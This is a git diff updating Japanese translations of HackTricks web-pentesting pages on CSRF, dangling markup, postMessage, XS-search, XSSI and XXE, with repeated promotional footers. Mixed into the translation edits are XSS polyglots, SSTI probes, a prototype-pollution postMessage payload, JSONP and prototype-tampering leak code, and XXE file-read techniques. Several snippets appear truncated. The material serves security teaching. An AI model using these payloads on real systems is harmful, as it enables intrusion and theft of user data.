プリフライトリクエストを回避しながら、サーバーがコンテンツをJSONとして認識することを確実にするために、データを `Content-Type: text/plain; application/json` で送信できます。これによりプリフライトリクエストはトリガーされませんが、サーバーが `application/json` を受け入れるように構成されている場合は正しく処理される可能性があります。 -3. **SWF Flashファイルの利用**: より一般的ではないが実現可能な方法として、このような制限をバイパスするためにSWF Flashファイルを使用する方法があります。このテクニックの詳細については、[この投稿](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) を参照してください。 +3. **SWF Flashファイルの利用**: より一般的ではないが実現可能な方法として、SWF Flashファイルを使用してこの制限をバイパスする方法があります。このテクニックの詳細については、[この投稿](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) を参照してください。 ### リファラー/オリジンチェックのバイパス @@ -169,7 +169,7 @@ JSONデータをPOSTリクエストで送信しようとする際、HTMLフォ [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) {% endcontent-ref %} -Referrerが送信するURL内のサーバーのドメイン名を設定するには、次のようにします: +リファラが送信するURL内のサーバーのドメイン名を設定するには、次のようにします: ```html @@ -198,7 +198,7 @@ document.forms[0].submit(); ### **CSRFトークンの外部流出** -もし**CSRFトークン**が**防御として使用されている**場合、[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)脆弱性や[**Dangling Markup**](dangling-markup-html-scriptless-injection/)脆弱性を悪用して**それを外部流出**することができます。 +もし**CSRFトークン**が**防御として使用**されている場合、[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)脆弱性や[**Dangling Markup**](dangling-markup-html-scriptless-injection/)脆弱性を悪用して**それを外部流出**することができます。 ### **HTMLタグを使用したGET** ```xml @@ -422,7 +422,7 @@ document.getElementById("form1").submit(); ``` -### **CSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信する** +### **CSRF トークンを盗み、iframe とフォームを使用して POST リクエストを送信する** ```html @@ -586,23 +586,23 @@ login(USER, line.strip()) ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう **リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていきましょう +リアルタイムのニュースと情報を通じて、ハッキングの世界を追いかけましょう **最新の発表**\ -最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう +最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう **Discord** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
-**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう! +**htARTE (HackTricks AWS Red Team Expert)** でゼロからヒーローまでAWSハッキングを学びましょう! HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、Twitter 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする -* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
diff --git a/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/pentesting-web/dangling-markup-html-scriptless-injection/README.md index d2d92ca8d..8a488fcbe 100644 --- a/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,28 +4,28 @@ htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。 -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 +* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 -## 履歴書 +## 要約 -このテクニックは、**HTMLインジェクションが見つかったときにユーザーから情報を抽出する**ために使用できます。これは、[**XSS**](../xss-cross-site-scripting/)を**悪用する方法が見つからない**場合に非常に役立ちますが、**いくつかのHTMLタグをインジェクトできる**場合です。\ -また、**秘密が平文で保存されている**場合や、クライアントからそれを**外部に送信**したい場合、またはスクリプトの実行を誤誘導したい場合にも役立ちます。 +このテクニックは、**HTMLインジェクションが見つかったときにユーザーから情報を抽出するために使用**できます。これは、[**XSS**](../xss-cross-site-scripting/)を**悪用する方法が見つからない**場合に非常に便利ですが、**いくつかのHTMLタグをインジェクトできる**場合に役立ちます。\ +また、いくつかの**秘密が平文で保存**されており、クライアントからそれを**外部に送信**したい場合や、スクリプトの実行を誤誘導したい場合にも役立ちます。 -ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に送信することによっていくつかの[**Content Security Policy**](../content-security-policy-csp-bypass/)をバイパスするために使用できます(htmlタグ、CSS、http-metaタグ、フォーム、baseなど)。 +ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に送信することによっていくつかの[**コンテンツセキュリティポリシー**](../content-security-policy-csp-bypass/)をバイパスするために使用できます(htmlタグ、CSS、http-metaタグ、フォーム、baseなど)。 ## 主な応用 ### 平文の秘密を盗む -ページがロードされるときに`test ``` ### クリアテキストの秘密情報の盗み取り2 -最新のテクニックを使用してフォームを盗む(新しいフォームヘッダーを注入する)ことができ、その後新しい入力フィールドを注入できます: +最新のテクニックを使用してフォームを盗み取る(新しいフォームヘッダーを注入する)ことができ、その後新しい入力フィールドを注入できます: ```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` -### ポリグロッツ +### ポリグロット ```markup x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` -## [Server Side Request Forgery](../ssrf-server-side-request-forgery/) +## [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/) -Open Redirectに使用される同じテストがここでも使用できます。 +オープンリダイレクトに使用されるテストと同じものがここでも使用できます。 -## [Server Side Template Injection](../ssti-server-side-template-injection/) +## [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/) ### 基本的なテスト ```markup @@ -173,7 +173,7 @@ ${{7*7}} ```python {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ ``` -## [XSLT サーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) +## [XSLTサーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ### 基本テスト ```markup @@ -186,13 +186,13 @@ ${{7*7}} ``` ## XSS -### 基本的なテスト +### 基本テスト ```markup " onclick=alert() a=" '"> javascript:alert() ``` -### ポリグロッツ +### ポリグロット ```markup javascript:"/*'/*`/*--> -->'"/>
@@ -222,14 +222,14 @@ javascript:"/*'/*`/*--> -AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert) +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。 -* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
diff --git a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md index 99e8885c9..5e3e241fd 100644 --- a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md +++ b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**ですか?またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -* **ハッキングトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
```python @@ -52,12 +52,12 @@ javascript:"/*'/*`/*--> -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください -* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。 +* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/pentesting-web/postmessage-vulnerabilities/README.md b/pentesting-web/postmessage-vulnerabilities/README.md index 208a06176..970326824 100644 --- a/pentesting-web/postmessage-vulnerabilities/README.md +++ b/pentesting-web/postmessage-vulnerabilities/README.md @@ -4,15 +4,15 @@
-**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ こちら +**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする -* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する +- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
@@ -44,14 +44,14 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500'); ## loop until win.length == 1 (until the iframe is loaded) win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') ``` -**targetOrigin**は'\*'または_https://company.com_のようなURLになります。 -**第二のシナリオ**では、**メッセージはそのドメインにのみ送信**されます(たとえウィンドウオブジェクトの起源が異なっていても)。 -**ワイルドカード**が使用されると、**メッセージは任意のドメインに送信**され、ウィンドウオブジェクトの起源に送信されます。 +注意してください。**targetOrigin** は '\*' または _https://company.com_ のような URL になります。\ +**第二のシナリオ**では、**メッセージはそのドメインにのみ送信**されます(たとえウィンドウオブジェクトのオリジンが異なっていても)。\ +**ワイルドカード**が使用されると、**メッセージは任意のドメインに送信**され、ウィンドウオブジェクトのオリジンに送信されます。 -### iframeと**targetOrigin**のワイルドカード攻撃 +### iframe と **targetOrigin** のワイルドカードへの攻撃 -[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**X-Frame-Header**保護がないページを見つけ、**ワイルドカード**(\*)を使用して**postMessage**を介して**機密**メッセージを送信している場合、**iframe**の**起源**を**変更**して、**機密**メッセージを自分が制御するドメインに**漏洩**させることができます。 -ページがiframedであっても**targetOrigin**が**URLに設定されていてワイルドカードではない**場合、この**トリックは機能しません**。 +[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**X-Frame-Header** 保護がないページを見つけ、**ワイルドカード** (\*) を使用して **postMessage** を介して **機密情報を送信**しているページが **iframed** できる場合、**iframe** の **origin** を **変更**して、**機密** メッセージを自分が制御するドメインに **漏洩** させることができます。\ +ページが iframed できるが **targetOrigin** が **URL に設定されていてワイルドカードではない**場合、この **トリックは機能しません**。 ```markup ``` ### #ID + エラー + onload -* **挿入方法**: フレーム -* **検出可能な違い**: ページコンテンツ -* **詳細**: -* **概要**: 正しいコンテンツにアクセスしたときにページにエラーを発生させ、任意のコンテンツにアクセスしたときに正しく読み込まれるようにすると、時間を計測せずにすべての情報を抽出するループを作成できます。 -* **コード例**: +* **Inclusion Methods**: フレーム +* **Detectable Difference**: ページコンテンツ +* **More info**: +* **Summary**: 正しいコンテンツにアクセスしたときにページにエラーを発生させ、任意のコンテンツにアクセスしたときに正しく読み込まれるようにすることができれば、時間を計測せずにすべての情報を抽出するためのループを作成できます。 +* **Code Example**: -ページに**秘密の**コンテンツが含まれる**ページ**を**iframe**内に**挿入**できるとします。 +ページに**秘密の**コンテンツを**挿入**できると仮定します。**Iframe**内に。 -被害者に、CSRFを利用して、"_**flag**_"を含むファイルを検索させることができます。iframe内では、_**onload イベント**_が**常に少なくとも1回実行**されることがわかります。その後、URLの**ハッシュ**内の**コンテンツ**だけを変更して、**iframe**の**URL**を変更できます。 +被害者に「_**flag**_」を含むファイルを検索させることができます(たとえばCSRFを悪用)。Iframe内では、_**onload イベント**_が**常に少なくとも1回実行される**ことがわかります。その後、URLの**ハッシュ**の**コンテンツ**だけを変更して、**iframe**の**URL**を変更できます。 -例: +例: 1. **URL1**: www.attacker.com/xssearch#try1 2. **URL2**: www.attacker.com/xssearch#try2 -最初のURLが**正常に読み込まれた**場合、URLの**ハッシュ**部分を**変更**しても**onload**イベントは**再度トリガーされません**。しかし、ページが**読み込み時にエラー**が発生した場合、**onload**イベントは**再度トリガー**されます。 +最初のURLが**正常に読み込まれた**場合、URLの**ハッシュ**部分を**変更**しても**onload**イベントは**再度トリガーされません**。しかし、ページが**読み込み時にエラー**があった場合、**onload**イベントは**再度トリガー**されます。 -そのため、**正しく**読み込まれたページとアクセス時に**エラー**があるページを区別できます。 +その後、**正しく**読み込まれたページとアクセス時に**エラー**があるページを**区別**することができます。 -### Javascript実行 +### Javascript Execution -* **挿入方法**: フレーム -* **検出可能な違い**: ページコンテンツ -* **詳細**: -* **概要**: ページが**機密情報**を**返す**か、ユーザーが**制御可能なコンテンツ**を返す場合。ユーザーは**負の場合に有効なJSコードを設定**し、各試行を**` ``` ### Dynamic-JavaScript-based-XSSI と Authenticated-JavaScript-XSSI -これらのXSSI攻撃タイプは、ユーザーのリクエストに応じてスクリプトに動的に機密情報が追加されることを含みます。検出は、クッキーを使用してリクエストを送信し、レスポンスを比較することで行うことができます。情報が異なる場合、機密情報が存在している可能性があります。このプロセスは、[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp拡張機能のようなツールを使用して自動化することができます。 +これらのXSSI攻撃タイプは、ユーザーのリクエストに応じてスクリプトに動的に機密情報が追加されることを含みます。検出は、クッキーを使用してリクエストを送信し、レスポンスを比較することで行うことができます。情報が異なる場合、機密情報の存在を示す可能性があります。このプロセスは、[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp拡張機能などのツールを使用して自動化することができます。 機密データがグローバル変数に格納されている場合、通常のXSSIで使用される方法と類似した方法を使用して悪用することができます。ただし、機密データがJSONPレスポンスに含まれている場合、攻撃者はコールバック関数を乗っ取って情報を取得することができます。これは、グローバルオブジェクトを操作するか、JSONPレスポンスによって実行される関数を設定することによって行うことができます。 ```html @@ -64,7 +64,7 @@ alert(JSON.stringify(leaked)); ``` -Variables not residing in the global namespaceでは、*prototype tampering*が時々悪用されることがあります。このテクニックは、JavaScriptの設計を活用しており、コードの解釈が呼び出されたプロパティを特定するためにプロトタイプチェーンをトラバースすることを含んでいます。`Array`の`slice`などの特定の関数をオーバーライドすることで、攻撃者は非グローバル変数にアクセスして情報を漏洩させることができます。 +変数がグローバル名前空間に存在しない場合、*プロトタイプ改ざん*が悪用されることがあります。このテクニックは、JavaScriptの設計を活用し、コードの解釈が呼び出されたプロパティを特定するためにプロトタイプチェーンをトラバースすることに関与する点に基づいています。`Array`の`slice`などの特定の関数を上書きすることで、攻撃者は非グローバル変数にアクセスして情報を漏洩させることができます。 ```javascript Array.prototype.slice = function(){ // leaks ["secret1", "secret2", "secret3"] @@ -90,8 +90,8 @@ HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**する。 -* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリに提出してください。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする** +* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する** diff --git a/pentesting-web/xxe-xee-xml-external-entity.md b/pentesting-web/xxe-xee-xml-external-entity.md index 6bf92df2f..03ae969ba 100644 --- a/pentesting-web/xxe-xee-xml-external-entity.md +++ b/pentesting-web/xxe-xee-xml-external-entity.md @@ -6,28 +6,28 @@ HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。** -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする +- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 -## XMLの基礀 +## XMLの基礎 -XMLは、データの保存と転送を目的としたマークアップ言語であり、記述的なタグの使用を可能にする柔軟な構造を特徴としています。HTMLとは異なり、事前定義されたタグに制限されていない点が異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、初期のAJAX技術での役割は大きかったです。 +XMLは、データの格納と転送を目的としたマークアップ言語であり、記述的に名前付けられたタグの使用を可能にする柔軟な構造を特徴としています。HTMLとは異なり、事前定義されたタグに制限されていない点が異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、初期のAJAX技術での役割があります。 - **エンティティを通じたデータ表現**: XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらは`<`や`>`に対応してXMLのタグシステムとの競合を避けます。 -- **XML要素の定義**: XMLは要素タイプの定義を許可し、要素がどのように構造化され、どのようなコンテンツを含むかを明確にします。任意の種類のコンテンツから特定の子要素まで含めることができます。 +- **XML要素の定義**: XMLは要素タイプの定義を許可し、要素がどのように構造化され、どのようなコンテンツを含むかを明確にします。任意の種類のコンテンツから特定の子要素まで、幅広いコンテンツを含めることができます。 - **文書型定義(DTD)**: DTDは、文書の構造とそれが含むデータの種類を定義するためにXMLで重要です。内部、外部、または組み合わせのいずれかであるDTDは、文書のフォーマットと検証方法を指示します。 -- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML External Entity(XXE)攻撃の文脈で、XMLパーサーが外部データソースを処理する方法を悪用するセキュリティ上の懸念を引き起こします: ` ]>` +- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML External Entity(XXE)攻撃の文脈でセキュリティ上の懸念を引き起こします。これらはXMLパーサーが外部データソースを処理する方法を悪用するXXE攻撃に関連しています: ` ]>` -- **パラメータエンティティを使用したXXEの検出**: 通常の方法がパーサーのセキュリティ対策により失敗した場合、XMLパラメータエンティティを利用してXXEの脆弱性を検出することができます。これらのエンティティを使用すると、DNSルックアップをトリガーしたり、制御されたドメインにHTTPリクエストを送信したりして、脆弱性を確認することができます。 +- **パラメータエンティティを使用したXXE検出**: 通常の方法がパーサーのセキュリティ対策により失敗した場合、XMLパラメータエンティティを利用してXXE脆弱性を検出することができます。これらのエンティティを使用すると、DNSルックアップをトリガーしたり、制御されたドメインにHTTPリクエストを送信したりするなど、帯域外検出技術を使用して脆弱性を確認できます。 - ` ]>` - ` ]>` @@ -57,7 +57,7 @@ XMLは、データの保存と転送を目的としたマークアップ言語 ]> &example; ``` -この2番目のケースは、WebサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggers labsの場合ではありません) +この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggers labsの場合ではありません) ```xml ]> @@ -75,9 +75,11 @@ XMLは、データの保存と転送を目的としたマークアップ言語 1 ``` +![](<../.gitbook/assets/image (222) (1).png>) + ### ディレクトリリスト -**Java**ベースのアプリケーションでは、次のようなペイロードを使用してXXEを介してディレクトリの内容をリストアップすることができる場合があります(ファイルではなくディレクトリを要求するだけです): 